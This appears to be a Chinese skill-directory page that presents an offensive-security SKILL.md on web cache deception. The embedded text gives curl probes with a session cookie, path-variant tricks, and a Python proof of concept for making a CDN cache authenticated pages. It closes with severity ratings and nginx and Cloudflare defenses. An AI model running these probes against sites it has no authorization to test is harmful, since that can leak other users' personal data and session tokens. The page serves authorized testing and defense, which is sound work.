跳到正文
Skillpedia
安全6.5k · #14052

cache-deception

它能做什么

这份指南涵盖网页缓存欺骗,即 CDN 或代理把已登录用户的私人页面当作公开内容进行存储。适合在网页应用前部运行缓存的团队。

适用场景

  • ✓当网站使用的 CDN 或代理根据文件扩展名或路径模式缓存页面时。
  • ✓当授权测试想检查私人页面是否被缓存在看似静态的 URL 下时。
  • ✓当团队在审查已登录内容的缓存规则时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“我们的网站在应用前使用了 CDN。请帮我检查私人账户页面能否被缓存在看似静态的 URL 下?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体在测试账户中使用伪造的静态样式路径请求账户页面,检查缓存响应头,并比较未登录访客所收到的内容。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

Web Cache Deception

Reverse proxies / CDNs cache based on URL extension or path patterns (.css, .jpg, /static/). If the origin server returns the authenticated page for any path, attacker tricks the cache into storing private content under a public-cacheable URL.

1. The classic

GET /account.css     ← attacker visits, in their own session
                       Cache miss → origin returns /account (authenticated, w/ user cookies in URL or response body)
                       Cache stores response keyed on /account.css

GET /account.css     ← victim or any unauth visitor
                       Cache HIT → serves the attacker-cached, victim-data response

2. Probe the deception

# Step 1: visit authenticated page w/ a fake .css path
curl -i -H "Cookie: session=$AUTH" $TARGET/account.css | grep -E '^(HTTP|Cache|X-Cache)'

# Look for:
# Cache-Control: public, max-age=...
# X-Cache: MISS (then HIT next time)
# Content-Length consistent w/ /account page (not 404)

# Step 2: from unauth session
curl -i $TARGET/account.css | grep -E 'HTTP|Cache' && diff_response_bodies

If the second request returns the AUTHENTICATED content of step 1 → deception confirmed.

3. Variants

Variant Path
.css suffix /account/foo.css
.jpg suffix /account.jpg
/static/ prefix /static/../account
Multiple slashes /account//.css
URL-encoded ; /account%3B.css
Trailing semi-segment /account;foo.css
Double extension /account.html.css
Path parameter /account.css/anything

Each cache impl handles these differently. Cloudflare / Fastly / Akamai / Varnish all have known quirks.

4. Cache poisoning vs cache deception

  • Deception — attacker forces cache of victim's data, served to others
  • Poisoning — attacker injects content into a normal cached resource

This skill covers deception. Cache poisoning is a separate (overlapping) class.

5. Tools

  • Param Miner (Burp plugin) — unkeyed param discovery
  • webcache.cyberxecution.com for quick suffix probes
  • Manual via Burp Repeater

6. PoC

import requests
sess = requests.Session()
sess.cookies['session'] = 'AUTH_COOKIE'

# 1. Force cache of authenticated response
r1 = sess.get(f"{TARGET}/account.css")
print(f"step1 status={r1.status_code} body_hash={hash(r1.text)}")

# 2. Hit same URL unauth
r2 = requests.get(f"{TARGET}/account.css")
print(f"step2 status={r2.status_code} body_hash={hash(r2.text)}")
assert r2.text != "404 not found"
assert "private_data" in r2.text   # adjust to whatever marker your auth page has

7. Severity

Bug Severity
Cache deception exposing PII (email, name, balance) Critical 8-9
Cache deception of session token Critical 9.8 (ATO)
Cache deception of public-only data Informational
Cache poisoning of script content Critical 9.0 (RCE-adjacent in browser context)

8. Defender

# Nginx — prefix-based cache keys, NOT extension-based
location / {
  proxy_pass http://origin;
  proxy_cache_key "$scheme$proxy_host$uri";
  add_header Cache-Control "private, no-store" always;
}

# Cloudflare — set Cache Rules to require Vary: Cookie + Authorization
# AND match by Content-Type, not URL extension

Apps should send Cache-Control: private, no-store on every authenticated response to defeat both deception and poisoning.

Cross-references

  • Upstream catalog: skills/_corpus/payloads/Web Cache Deception/
  • Smuggling overlap: skills/exploit/web/smuggling.md

Known exemplars

  • Omer Gil's original PayPal disclosure (2017)
  • Multiple HackerOne reports $5-15k for cache deception on enterprise SaaS
  • 2023: notable Stripe disclosure of cache deception leading to PII leak
常见问题

风险是什么?

私人页面可能被存储下来,然后展示给使用同一地址的其他访客。

测试哪些路径?

该指南指出,是在私人页面上添加伪造的静态扩展名或前缀的路径。

如何修复?

设置缓存规则,使已登录或私人的响应永远不会被存储。

详情

作者的原始描述

Web cache deception — trick CDN/proxy into caching authenticated responses under unauthenticated URLs, exposing PII to any visitor.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#14052
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能